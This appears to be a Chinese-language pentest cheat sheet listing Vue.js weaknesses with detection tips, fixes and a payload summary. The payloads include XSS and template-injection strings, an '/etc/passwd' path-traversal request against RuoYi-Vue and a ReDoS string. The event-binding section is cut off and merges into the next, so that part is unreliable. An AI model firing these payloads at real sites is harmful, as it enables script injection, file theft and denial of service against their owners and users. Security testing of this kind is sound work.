- Vue 源码泄露(最常见低危→高危)
原理:
webpack 默认生成 .js.map,生产环境未关闭,可反编译还原完整源码,泄露接口、密钥、注释路径。
黑盒特征:
响应头 X-SourceMap: xxx.js.map 或 JS 末尾出现 //# sourceMappingURL=xxx.js.map
URL 直接访问 /js/app.xxxxx.js.map 返回 200 且 Content-Type 为 application/octet-stream
快速验证:
bash
复制
curl -s https://target.com/js/app.12345.js | grep -ia "sourceMappingURL"
回显即存在;继续访问同目录 .map 文件可下载
扫描正则:\w+.js?\w.map$
修复:
productionSourceMap: false(vue.config.js)并删除服务器残留 .map 文件。
2. Vue Router 静态目录未授权(中危→高危)
原理:
前端路由表写死在 app..js 中,形如 {path:"/admin/user",component:xxx},未做后端鉴权即可直接访问组件对应业务接口。
黑盒特征:
URL 带 /#/ 或 /#/admin/xxx 即 Vue Hash 模式;JS 里搜索 path:" 可批量提取目录
拼接 /admin/user 等路径无需登录即可 200 返回数据或跳转后台页面
快速验证:
bash
复制
grep -Eo 'path:"[^"]+"' app.*.js | awk -F'"' '{print $2}' | sort -u > vue_routes.txt
结合 burp intruder 批量访问
- 模板注入 / XSS(高危)
原理:
v-html / {{{ 插值 或 v-text 输出未经转义的用户输入;服务端把用户数据直接注入到 HTML 片段再交给 Vue 挂载。
黑盒特征:
搜索框、富文本、邮件内容等区域提交 <svg/onload=alert(1)> 后,前端直接弹窗
页面源码出现 {{{ 或 v-html= 且值来自请求参数
快速验证:
JavaScript
复制
'"><svg/onload=alert(document.domain)>
{{constructor.constructor('alert(1)')()}}
注意:Vue 3 默认转义,但仍会受服务端直出的 HTML 片段污染。 - 样式注入+点击劫持(中危)
原理:
:style="userProvidedStyles" 或后台返回的 style 字段可注入 position:fixed 覆盖登录按钮。
黑盒特征:
提交 {"color":"red","position":"fixed","top":"0","left":"0","z-index":"9999","background":"rgba(0,0,0,0)"} 后整页被透明层覆盖
审查元素可见
修复:
使用白名单对象写法 :style="{color: userColor}",或把用户区放入 sandbox iframe。 - 正则拒绝服务 ReDoS(CVE-2024-9506,低版本 DoS)
影响版本:Vue 2.0.0–3.0.0(@vue/compiler-core)
原理:
parseHTML 使用贪婪正则解析模板,构造 {{'a'.repeat(10000)+'!'}} 类 payload 可让浏览器/Node 进程 CPU 100%。
黑盒特征:
提交极长模板字符串后,页面卡死或 SSR 服务超时
无错误回显,但响应时间 TTFB 明显飙升
快速验证:
JavaScript
复制
const evil = '{{' + 'a'.repeat(50000) + '!}}';
// 通过评论、富文本、Markdown 存储后让 Vue 二次渲染
修复:升级至 Vue 3.0.1+、2.7.16+。 - 组件间数据污染 / Props 注入(逻辑漏洞)
原理:
子组件直接修改 Object props,父级数据被同步篡改;若 props 控制权限标志,可越权。
黑盒特征:
修改子组件表单后,未调用接口却出现“保存成功”或权限菜单变化
控制台 Vue-DevTools 可见 mutating props 警告
利用:
把回传对象增加 {"role":"admin"} 等字段观察 UI 变化。 - 事件绑定注入(XSS 变种)
原理:
后台返回 - 服务端渲染(SSR)上下文污染(高危)
原理:
context.state = JSON.stringify(window.INITIAL_STATE) 未转义 导致 XSS。
黑盒特征:
查看源码 window.INITIAL_STATE = {"userInput":"<svg/onload=alert(1)>"}
直接提交 <svg/onload=alert(1)> 作为任何字段值,刷新页面即弹窗。 - 开源脚手架历史漏洞(RuoYi-Vue ≤3.2.0)
任意文件下载 /common/download/resource?name=../../../etc/passwd
接口无前缀、无鉴权,可直接 GET 下载服务器任意文件 - 工具&扫描插件推荐
Wappalyzer / WhatRuns:快速识别 Vue + webpack
burp-HAE:自带 .js.map 指纹,自动下载并反编译
reverse-sourcemap:npx reverse-sourcemap -v xxx.js.map -o src
vue-pen-test-checklist:社区维护的 payload 集合 https://github.com/danielmiessler/vppt
速查 payload 小结
xxx.js.map → 源码泄露
/#/admin、/#/user、/#/manage → Hash 路由未授权
{{constructor.constructor('alert(1)')()}} → 模板注入
"><svg/onload=alert(1)> → v-html / 行内事件 XSS
'a'.repeat(50000)+'!' → ReDoS
{"role":"admin"} → Props 数据污染
name=../../../etc/passwd → RuoYi 任意文件下载